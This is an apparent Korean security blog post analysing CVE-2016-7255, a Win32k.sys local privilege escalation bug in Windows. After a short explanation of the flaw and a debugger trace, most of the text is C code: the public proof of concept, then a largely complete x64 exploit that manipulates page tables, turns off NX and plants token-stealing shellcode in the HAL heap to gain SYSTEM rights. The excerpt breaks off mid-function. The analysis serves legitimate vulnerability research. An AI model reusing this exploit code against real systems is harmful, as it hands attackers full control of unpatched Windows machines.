[HACKING] Microsoft Windows Kernel Win32k.sys Local Privilege Escalation Vulnerability 분석(CVE-2016-7255/MS16-135)
오랜만에 취약점 분석을 하는 것 같습니다. 오늘은 작년에 발표되고 올해 공격코드가 공개된 Windows kenel Win32k.sys Local Privilege Escalation에 대해 보도록하겠습니다.
간략하게 정리하고 시작하겠습니다.
CVE-NUMBER: CVE-2016-7255 CVSSv3: 7.6
Microsoft Windows Kernel Win32k.sys Local Privilege Escalation Vulnerability
아무래도 Windows kernel 취약점이다보니 공격코드의 길이가 상당했습니다. 먼저 취약점에 대해 조금 찾아보기로 했습니다. 이 취약점은 윈도우 창에 관련된 취약점입니다. Win32k.sys library 내 윈도우 창의 속성을 변경할 수 있는 NtSetWindowsLongPtr() 함수에 문제가 있습니다.
NtSetWindowsLongPtr 함수는 아래와 같은 구조를 가집니다.
LONG_PTR WINAPI SetWindowLongPtr(
_In_ HWND hWnd,
_In_ int nIndex,
_In_ LONG_PTR dwNewLong
);
취약점을 발표한 Google Security 쪽 이야기로는 GWL_STYLE이 WS_CHILD로 설정된 창 핸들러에서 index인 GWLP_ID에 대해 wind32k.sys가 system call을 통해 NtSetWindowLongPtr() 함수를 호출할 때 트리거 된다고 합니다.
요런 형태로 들어가게되겠죠. SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );
NtSetWindowLongPtr은 사용자 모드에서 시스템콜을 사용할 수 있는 함수입니다. 이 과정 중 유저모드에서 대상 윈도우의 spmenu 값을 임의로 바꿀 수 있습니다. spmenu 값을 사용하는 함수 중에는 xxxNextWindow 라는 함수가 있습니다. 이 함수는 target window의 spmenu 값을 가져와서 tagMenu의 Object에 대한 포인터 값으로 사용합니다.
인자값이 VK_MENU인 경우 tagMenu Object의 fFlags 필드에 1비트를 설정하게 됩니다. fFlags field (tagMenu.fFlags = tagMenu.fFlags|0x4) (커널 모드에서 공격자가 제어하는 주소는 0x4와 함께 논리적으로 매긴 값으로 제어됨 / fFlags의 offset은 0x28)
NtSetWindowLongPtr에서 spmenu 필드를 GWLP_ID로 사용하고 대상 윈도우의 스타일이 WS_CHILD일 경우 어떤 체크 로직도 없이 값을 함수 인자로 사용하게됩니다. 반복적으로 xxxNextWindow를 호출해서 tagMenu Obj에 fFlags 필드에 1비트 씩 설정합니다. 아래 poc를 보면 조금 더 이해가 쉬울 것 같습니다.
Poc Analysis
이 취약점에 대한 Poc는 tinysec에서 github를 통해 제공하고 있습니다. 이외에도 python 기반 poc도 있긴합니다. https://github.com/tinysec/public/tree/master/CVE-2016-7255
코드 전체를 보기에 앞서서 중요한 부분부터 정리하겠습니다. 테스팅 코드 내 or_address_value_4() 라는 함수가 있습니다.
int or_address_value_4(__in void* pAddress)
이 함수가 중요한 이유는.. 아까 위에서 이야기한 SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId )가 사용되는 부분이기 때문이죠.
or_address_value_4 함수 일부
do
{
stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
if ( 0 == RegisterClassExW(&stWC) )
{
break;
}
hWndParent = CreateWindowExW( // -> 부모 창 생성
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndParent)
{
break;
}
hWndChild = CreateWindowExW( // -> 자식 창 생성
0, // hwndChild에는 CreateWindowExW를 통해 얻은 자식창의 Handle이 들어가게되고 이는 아래 SetWindowLongPtr 함수에서 사용됩니다.
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);
[....]
//문제의 그 함수군요.
SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId ); // -> 2번 인자값에는 GWLP_ID로 세팅(트리거 조건)
// -> 3번 인자값에는 함수 실행 시 받은 pAddress에서 Windows 버전에 따라 값을 뺀 데이터를 삽입
// pId = ( (UCHAR*)pAddress - 0x28 ); // 64bit일 시 0x28
// pId = ( (UCHAR*)pAddress - 0x14); // 이외에는 0x14
아까 맨 위에서 본 트리거 부분이 있습니다. 주석으로 달아놓은 것처럼 GWLP_ID와 WS_CHILD(자식창)로 세팅합니다. 이로써 1번째 조건은 완성되었습니다. 나머지 부분은 Debug 정보 출력을 위한 부분과 SendInput를 이용한 이벤트 발생으로 보이네요.
코드 전문에 앞서 디버그 로그에 대해 약간 정리해봅니다.
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404 or dword ptr [eax+14h],4 ds:0023:ffffffff=????????
위와 같은 코드 실행 시 win32kfull 내 xxxNextWindow+0x257 부분에서 에러가 발생합니다. 이는 SetWindowLongPtr() 함수로 창 속성에 대해 수정하고 아래 4개의 key 이벤트 관련 함수를 호출시켜 xxxNextWindow() 함수 호출을 유도하게 됩니다. xxxNextWindow()가 호출되는 순간 공격자는 Kernel address 내 한 비트를 수정할 수 있게되죠.
그럼 xxxNextWindow()는 어떻게 호출할 수 있을까요? 위에서 설명드렸지만 Keyboard Event 를 통해 호출할 수 있습니다. 코드에서는 아래 함수들로 정의되어있고, while loop를 돌면서 반복적으로 호출해줍니다.
_sim_key_down
_sim_key_up
_sim_alt_shift_esc
_sim_alt_shift_tab
코드 전체를 보죠.
#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#undef DbgPrint // 디버그를 위한 함수입니다.
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
CHAR* pszDbgBuff = NULL;
va_list VaList=NULL;
ULONG ulRet = 0;
do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));
va_start(VaList,Format);
_vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);
DbgPrintEx(77 , 0 , pszDbgBuff );
OutputDebugStringA(pszDbgBuff);
va_end(VaList);
} while (FALSE);
if (NULL != pszDbgBuff)
{
HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
pszDbgBuff = NULL;
}
return ulRet;
}
int _sim_key_down(WORD wKey) //xxxNextWindow() 함수 호출을 위한 함수
{
INPUT stInput = {0};
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;
SendInput(1 , &stInput , sizeof(stInput) );
} while (FALSE);
return 0;
}
int _sim_key_up(WORD wKey)//xxxNextWindow() 함수 호출을 위한 함수
{
INPUT stInput = {0};
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1 , &stInput , sizeof(stInput) );
} while (FALSE);
return 0;
}
int _sim_alt_shift_esc()
{
int i = 0;
do
{
_sim_key_down( VK_MENU ); // tagMenu object내 fFlags 필드 설정을 위해 VK_MENU를 인자로 넘겨줌
_sim_key_down( VK_SHIFT );
_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);
_sim_key_down( VK_ESCAPE);
_sim_key_up( VK_ESCAPE);
_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);
return 0;
}
int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;
int nFinalRet = -1;
do
{
_sim_key_down( VK_MENU ); // tagMenu object내 fFlags 필드 설정을 위해 VK_MENU를 인자로 넘겨줌
_sim_key_down( VK_SHIFT );
for ( i = 0; i < nCount ; i++)
{
_sim_key_down( VK_TAB);
_sim_key_up( VK_TAB);
Sleep(1000);
}
_sim_key_up( VK_MENU );
_sim_key_up( VK_SHIFT );
} while (FALSE);
return nFinalRet;
}
int or_address_value_4(__in void* pAddress)
WNDCLASSEXW stWC = {0};
HWND hWndParent = NULL;
HWND hWndChild = NULL;
WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";
void* pId = NULL;
MSG stMsg = {0};
do
{
stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
if ( 0 == RegisterClassExW(&stWC) )
{
break;
}
hWndParent = CreateWindowExW( // 부모창 생성
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW|WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndParent)
{
break;
}
hWndChild = CreateWindowExW( // 자식창 생성
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndChild)
{
break;
}
#ifdef _WIN64
pId = ( (UCHAR*)pAddress - 0x28 ); // OS 버전 별 fFlags Offset 만큼 빼줌 > 64비트 기준으로 0x28
#else
pId = ( (UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64
SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId ); // 취약점 트리거 1
DbgPrint("hWndChild = 0x%p\n" , hWndChild);
DebugBreak();
ShowWindow(hWndParent , SW_SHOWNORMAL);
SetParent(hWndChild , GetDesktopWindow() );
SetForegroundWindow(hWndChild);
_sim_alt_shift_tab(4); // 취약점 트리거 2
SwitchToThisWindow(hWndChild , TRUE);
_sim_alt_shift_esc(); // 취약점 트리거 2
while( GetMessage(&stMsg , NULL , 0 , 0) )
{
TranslateMessage(&stMsg);
DispatchMessage(&stMsg);
}
} while (FALSE);
if ( NULL != hWndParent )
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}
if ( NULL != hWndChild )
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}
UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );
return 0;
}
int __cdecl wmain(int nArgc, WCHAR** Argv)
{
do
{
or_address_value_4( (void*)0xFFFFFFFF ); // 설정할 값을 인자로 넘겨줌
} while (FALSE);
return 0;
}
위 코드가 실행될 때 아래와 같은 흐름이 발생합니다.
ASM Log
kd> g
hWndChild = 0x000A0402
Break instruction exception - code 80000003 (first chance)
001b:7557d352 cc int 3
kd> .reload /f win32kbase.sys
kd> .reload /f win32kfull.sys
kd> .reload /f symhelp.sys
kd> .load jswd
kd> !js D:\root\WorkCode\jswd_script\syn\hwnd.js 0x000A0402
[hWnd] 0x000a0402 -> [pWnd] 0x958139c8
kd> dt win32kfull!tagWND spmenu 0x958139c8
+0x078 spmenu : 0xffffffeb tagMENU
kd> ba r 4 0x958139c8+ 0x078
kd> g
Breakpoint 0 hit
win32kfull!xxxNextWindow+0x253:
94393f70 85c0 test eax,eax
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f70 esp=89f4f9a0 ebp=89f4fa08 iopl=0 nv up ei pl nz na po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000202
win32kfull!xxxNextWindow+0x253:
94393f70 85c0 test eax,eax
kd> t
win32kfull!xxxNextWindow+0x255:
94393f72 7404 je win32kfull!xxxNextWindow+0x25b (94393f78)
kd> t
win32kfull!xxxNextWindow+0x257:
94393f74 83481404 or dword ptr [eax+14h],4
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404 or dword ptr [eax+14h],4 ds:0023:ffffffff=????????
https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html
or_address_value_4( (void*)0xFFFFFFFF ); 인자로 준 0xFFFFFFFF 값이 세팅이되고, 프로그램이 0xFFFFFFFF 에 접근하지만 수정된 메모리이기 때문에 값을 읽어올 수 없어 에러가 발생합니다.
Exploit code
자 우리가 살펴본 내용으로 어느정도 동작 방식은 파악했습니다. 위에 루틴대로라면 커널 주소의 일부를 수정할 수 있기 때문에 원하는 코드를 메모리에 올리고 해당 메모리를 가리켜 쉘코드를 실행할 수 있게되죠. 공개된 공격코드는 아래와 같은 순서로 공격을 수행합니다.
Exploitation Steps
- 취약점을 이용하고 Self-Ref 내 U/S bit를 뒤집음
- spurios entry를 사용하는 free PML4E를 찾음
- 찾은 spurios entry 를 가지고 HAL’s Heap 의 PTE를 읽음
- spurios entry를 이용하여 shell code를 HAL’s Heap 내 free 영역에 삽입
- 해당 PTE의 spurios entry를 통해 NX를 Turn off한 후 HalpApicInterruptController pointer에 쉘코드를 Overwrite 함
공격코드는 KASLR Timing Attack을 이용하였고 KASLR Timing Attack은 Memory Disclosure 같은 info leak은 필요하지 않고 Double Page Fault를 사용해서 페이지가 매핑되었는지 확인합니다. 자세한건 찾아보시면 좋을 것 같습니다.
부분부분 주석을 달아놓긴 했는데.. 많이 모자라네요.
#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib, "advapi32")
UINT64 PML4_BASE;
UINT PML4_SELF_REF_INDEX;
UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define GET_INDEX(va) ( ((va >> 39) & 0x1ff ))
////////////////////////////////////////////////////////
// Define Data Types
////////////////////////////////////////////////////////
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
PVOID Unknown1;
PVOID Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation = 11,
SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
NtQuerySystemInformation_t NtQuerySystemInformation;
NtQueryIntervalProfile_t NtQueryIntervalProfile;
char shellcode[] = { // Shell코드
//0xcc,
0xfa, // CLI
0x9c, // PUSHFQ
0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RAX, Original Pointer
0x50, // PUSH RAX
0x51, // PUSH RCX
0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90, // MOV RCX, [OverwriteAddr+OverwriteOffset]
0x48, 0x89, 0x01, // MOV QWORD PTR [RCX], RAX
0xb9, 0x90, 0x90, 0x90, 0x90, // MOV ECX, PID
0x53, // PUSH RBX
0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, // MOV RAX,QWORD PTR gs:0x188
0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, // MOV RAX,QWORD PTR [RAX+0xb8] EPROCESS
0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00, // LEA RAX,[RAX+0xActiveProcessLinkOffset]
//<tag>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
0x48, 0x83, 0xfb, 0x04, // CMP RBX,0x4
0x75, 0xf3, // JNE <tag>
0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90, // MOV RBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM
0x53, // PUSH RBX
//<tag2>
0x48, 0x8b, 0x00, // MOV RAX,QWORD PTR [RAX]
0x48, 0x8b, 0x58, 0xf8, // MOV RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
0x39, 0xcb, // CMP EBX, ECX // our PID
0x75, 0xf5, // JNE <tag2>
0x5b, // POP RBX
0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90, // MOV QWORD PTR[RAX + 0x60], RBX
0x5b, // POP RBX
0x59, // POP RCX
0x58, // POP RAX
0x9d, // POPFQ
0xfb, // STI
0xff, 0xe0 // JMP RAX
};
ULONG __cdecl DbgPrint(__in char* Format, ...) //Debug 출력
{
CHAR* pszDbgBuff = NULL;
va_list VaList = NULL;
ULONG ulRet = 0;
do
{
pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR));
if (NULL == pszDbgBuff)
{
break;
}
RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR));
va_start(VaList, Format);
_vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);
OutputDebugStringA(pszDbgBuff);
va_end(VaList);
} while (FALSE);
if (NULL != pszDbgBuff)
{
HeapFree(GetProcessHeap(), 0, pszDbgBuff);
pszDbgBuff = NULL;
}
return ulRet;
}
int _sim_key_down(WORD wKey) // xxxNextWindow()를 트리거하기 위한 함수들
{
INPUT stInput = { 0 };
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = 0;
SendInput(1, &stInput, sizeof(stInput));
} while (FALSE);
return 0;
}
int _sim_key_up(WORD wKey)
{
INPUT stInput = { 0 };
do
{
stInput.type = INPUT_KEYBOARD;
stInput.ki.wVk = wKey;
stInput.ki.dwFlags = KEYEVENTF_KEYUP;
SendInput(1, &stInput, sizeof(stInput));
} while (FALSE);
return 0;
}
int _sim_alt_shift_esc()
{
int i = 0;
do
{
_sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);
_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
_sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);
} while (FALSE);
return 0;
}
int _sim_alt_shift_tab(int nCount)
{
int i = 0;
HWND hWnd = NULL;
int nFinalRet = -1;
do
{
_sim_key_down(VK_MENU);
_sim_key_down(VK_SHIFT);
for (i = 0; i < nCount; i++)
{
_sim_key_down(VK_TAB);
_sim_key_up(VK_TAB);
Sleep(1000);
}
_sim_key_up(VK_MENU);
_sim_key_up(VK_SHIFT);
} while (FALSE);
return nFinalRet;
}
int _sim_alt_esc(int count)
{
int i = 0;
for (i = 0; i<count; i++)
{
_sim_key_down(VK_MENU);
//_sim_key_down(VK_SHIFT);
_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
_sim_key_down(VK_ESCAPE);
_sim_key_up(VK_ESCAPE);
_sim_key_up(VK_MENU);
//_sim_key_up(VK_SHIFT);
}
return 0;
}
int or_address_value_4(__in void* pAddress) // 문제의 구간
{
WNDCLASSEXW stWC = { 0 };
HWND hWndParent = NULL;
HWND hWndChild = NULL;
WCHAR* pszClassName = L"cve-2016-7255";
WCHAR* pszTitleName = L"cve-2016-7255";
void* pId = NULL;
MSG stMsg = { 0 };
UINT64 value = 0;
do
{
stWC.cbSize = sizeof(stWC);
stWC.lpfnWndProc = DefWindowProcW;
stWC.lpszClassName = pszClassName;
if (0 == RegisterClassExW(&stWC))
{
break;
}
hWndParent = CreateWindowExW( // 부모생성
0,
pszClassName,
NULL,
WS_OVERLAPPEDWINDOW | WS_VISIBLE,
0,
0,
360,
360,
NULL,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndParent)
{
break;
}
hWndChild = CreateWindowExW( //자식생성
0,
pszClassName,
pszTitleName,
WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD,
0,
0,
160,
160,
hWndParent,
NULL,
GetModuleHandleW(NULL),
NULL
);
if (NULL == hWndChild)
{
break;
}
#ifdef _WIN64
pId = ((UCHAR*)pAddress - 0x28); // OS bit에 따라 pId 값 조정
#else
pId = ((UCHAR*)pAddress - 0x14);
#endif // #ifdef _WIN64
SetWindowLongPtr(hWndChild, GWLP_ID, (LONG_PTR)pId); // 취약 함수 호출!
DbgPrint("hWndChild = 0x%p\n", hWndChild); // 디버그 출력
ShowWindow(hWndParent, SW_SHOWNORMAL);
SetParent(hWndChild, GetDesktopWindow());
SetForegroundWindow(hWndChild);
_sim_alt_shift_tab(4); // xxxNextWindow() 호출을 위한 key_event API 사용
SwitchToThisWindow(hWndChild, TRUE);
_sim_alt_shift_esc(); // xxxNextWindow() 호출을 위한 key_event API 사용
while (GetMessage(&stMsg, NULL, 0, 0)) {
SetFocus(hWndParent);
_sim_alt_esc(20); // xxxNextWindow() 호출을 위한 key_event API 사용
SetFocus(hWndChild);
_sim_alt_esc(20); // xxxNextWindow() 호출을 위한 key_event API 사용
TranslateMessage(&stMsg);
DispatchMessage(&stMsg);
if (value != 0) {
break;
}
__try {
value = *(UINT64 *)PML4_SELF_REF;
if ((value & 0x67) == 0x67) {
printf("Value Self Ref = %llx\n", value);
break;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
continue;
}
}
} while (FALSE);
if (NULL != hWndParent)
{
DestroyWindow(hWndParent);
hWndParent = NULL;
}
if (NULL != hWndChild)
{
DestroyWindow(hWndChild);
hWndChild = NULL;
}
UnregisterClassW(pszClassName, GetModuleHandleW(NULL));
return 0;
}
UINT64 get_pxe_address(UINT64 address) { // PXE Address 가져오기
UINT entry = PML4_SELF_REF_INDEX;
UINT64 result = address >> 9;
UINT64 lower_boundary = ((UINT64)0xFFFF << 48) | ((UINT64)entry << 39);
UINT64 upper_boundary = (((UINT64)0xFFFF << 48) | ((UINT64)entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
result = result | lower_boundary;
result = result & upper_boundary;
return result;
}
UINT64 look_free_entry_pml4(void) { // PML4 free entry 찾기
// Looks for a free pml4e in the last 0x100 bytes of the PML4
int offset = 0xF00;
UINT64 pml4_search = PML4_BASE + offset;
while (offset < 0xFF8)
{
if ((*(PVOID *)pml4_search) == 0x0)
{
// This is a NULL (free) entry
break;
}
offset += 8;
pml4_search = PML4_BASE + offset;
}
return pml4_search;
}
UINT64 calculate_spurious_pt_address(UINT64 spurious_offset) {
UINT64 index = (spurious_offset & 0xFFF) / 8;
UINT64 result = (
((UINT64)0xFFFF << 48) |
((UINT64)PML4_SELF_REF_INDEX << 39) |
((UINT64)PML4_SELF_REF_INDEX << 30) |
((UINT64)PML4_SELF_REF_INDEX << 21) |
(index << 12)
);
return result;
}
UINT64 create_spurious_pte_to_virtual_address(UINT64 virtual_address, BOOL patch_original) { // 가상메모리에 데이터 씀
/*
1: kd> !pte ffffffff`ffd00000
VA ffffffffffd00000
PXE at FFFFF6FB7DBEDFF8 PPE at FFFFF6FB7DBFFFF8 PDE at FFFFF6FB7FFFFFF0 PTE at FFFFF6FFFFFFE800
contains 0000000000A1F063 contains 0000000000A20063 contains 0000000000A25063 contains 8000000000103963
pfn a1f-- - DA--KWEV pfn a20-- - DA--KWEV pfn a25-- - DA--KWEV pfn 103 - G - DA--KW - V
*/
UINT64 pte = get_pxe_address(virtual_address);
int pte_offset = pte & 0xFFF;
//printf("PTE: %llx, %x\n", pte, pte_offset);
UINT64 pde = get_pxe_address(pte);
int pde_offset = pde & 0xFFF;
//printf("PDE: %llx, %x\n", pde, pde_offset);
UINT64 pdpte = get_pxe_address(pde);
int pdpte_offset = pdpte & 0xFFF;
//printf("PDPTE: %llx,%x\n", pdpte, pdpte_offset);
UINT64 pml4e = get_pxe_address(pdpte);
int pml4e_offset = pml4e & 0xFFF;
//printf("PML4E: %llx\n", pml4e, pml4e_offset);
UINT64 spurious_offset = look_free_entry_pml4();
printf("[+] Selected spurious PML4E: %llx\n", spurious_offset);
UINT64 f_e_pml4 = spurious_offset;
UINT64 spurious_pt = calculate_spurious_pt_address(spurious_offset);
printf("[+] Spurious PT: %llx\n", spurious_pt);
printf("--------------------------------------------------\n\n");
//Read the physical address of pml4e
UINT64 pml4e_pfn = (UINT64)(*(PVOID *)pml4e);
printf("[+] Content pml4e %llx: %llx\n", pml4e, pml4e_pfn);
// Change the PxE
pml4e_pfn = pml4e_pfn | 0x67; // Set U/S
printf("[+] Patching the Spurious Offset (PML4e) %llx: %llx\n",f_e_pml4, pml4e_pfn);
*((PVOID *)spurious_offset) = (PVOID)pml4e_pfn;
Sleep(0x1); // Sleep for TLB refresh;
//Read the physical address of pdpte
UINT64 pdpte_pfn = (UINT64) *(PVOID *)(spurious_pt + pdpte_offset);
printf("[+] Content pdpte %llx: %llx\n", pdpte, pdpte_pfn);
// Change the PxE
pdpte_pfn = pdpte_pfn | 0x67; // Set U/S
printf("[+] Patching the Spurious Offset (PDPTE) %llx: %llx\n", spurious_offset, pdpte_pfn);
*((PVOID *)spurious_offset) = (PVOID)pdpte_pfn;
Sleep(0x1); // Sleep for TLB refresh;
//Read the physical address of pde
UINT64 pde_addr = spurious_pt + pde_offset;
UINT64 pde_pfn = (UINT64) *(PVOID *)(spurious_pt + pde_offset);
printf("[+] Content pdpe %llx: %llx\n", pde, pde_pfn);
// Change the PxE
pde_pfn = pde_pfn | 0x67; // Set U/S
printf("[+] Patching the Spurious Offset (PDE) %llx: %llx\n", spurious_offset, pde_pfn);
*((PVOID *)spurious_offset) = (PVOID)pde_pfn;
Sleep(0x1); // Sleep for TLB refresh;
//Read the physical address of pte
UINT64 pte_addr = spurious_pt + pte_offset;
UINT64 pte_pfn = (UINT64) *(PVOID *)(spurious_pt + pte_offset);
printf("[+] Content pte %llx: %llx\n", pte, pte_pfn);
// Change the PxE
pte_pfn = pte_pfn | 0x67; // Set U/S
pte_pfn = pte_pfn & 0x7fffffffffffffff; // Turn off NX
if (patch_original) {
printf("*** Patching the original location to enable NX...\n");
*(PVOID *)(spurious_pt + pte_offset) = (PVOID)pte_pfn;
}
printf("[+] Patching the Spurious Offset (PTE) %llx: %llx\n", spurious_offset, pte_pfn);
*((PVOID *)spurious_offset) = (PVOID)pte_pfn;
Sleep(0x1); // Sleep for TLB refresh;
printf("\n\n");
return spurious_pt;
}
UINT64 get_OverwriteAddress_pointer(UINT64 target_address, int target_offset) {
printf("[*] Getting Overwrite pointer: %llx\n", target_address);
UINT64 OverwriteAddress = create_spurious_pte_to_virtual_address(target_address, FALSE);
OverwriteAddress += (target_address & 0xFFF);
printf("OverwriteAddress: %llx\n", OverwriteAddress);
return (UINT64) *((PVOID *)(((char *)OverwriteAddress) + target_offset));
}
void overwrite_TargetAddress(UINT64 hook_address, UINT64 target_address, int target_offset) { // one bit 설정
UINT64 OverwriteTarget = create_spurious_pte_to_virtual_address(target_address, FALSE);
OverwriteTarget += (target_address & 0xFFF);
UINT64 target = (UINT64)((char *)OverwriteTarget) + target_offset;
printf("Patch OverwriteTarget: %llx with %llx\n", target, hook_address);
*(PVOID *)target = (PVOID)hook_address;
}
UINT64 store_shellcode_in_hal(void) {
//// Finally store the shellcode on the HAL
UINT64 hal_heap_addr = 0xFFFFFFFFFFD00000;
UINT64 hal_heap = create_spurious_pte_to_virtual_address(hal_heap_addr, TRUE);
printf("HAL address: %llx\n", hal_heap);
// 0xffffffffffd00d50 this is a good offset to store shellcode
// 0xfff - 0xd50 = 0x2af space
memcpy(((char *)hal_heap) + 0xd50, shellcode, sizeof(shellcode));
return 0xffffffffffd00d50;
}
UINT64 GetHalDispatchTable() {
PCHAR KernelImage;
SIZE_T ReturnLength;
HMODULE hNtDll = NULL;
UINT64 HalDispatchTable;
HMODULE hKernelInUserMode = NULL;
PVOID KernelBaseAddressInKernelMode;
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PSYSTEM_MODULE_INFORMATION pSystemModuleInformation;
hNtDll = LoadLibrary("ntdll.dll");
if (!hNtDll) {
printf("\t\t\t[-] Failed To Load NtDll.dll: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtDll, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("\t\t\t[-] Failed Resolving NtQuerySystemInformation: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &ReturnLength);
// Allocate the Heap chunk
pSystemModuleInformation = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
ReturnLength);
if (!pSystemModuleInformation) {
printf("\t\t\t[-] Memory Allocation Failed For SYSTEM_MODULE_INFORMATION: 0x%X\n", GetLastError());
exit(EXIT_FAILURE);
}
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
pSystemModuleInformation,
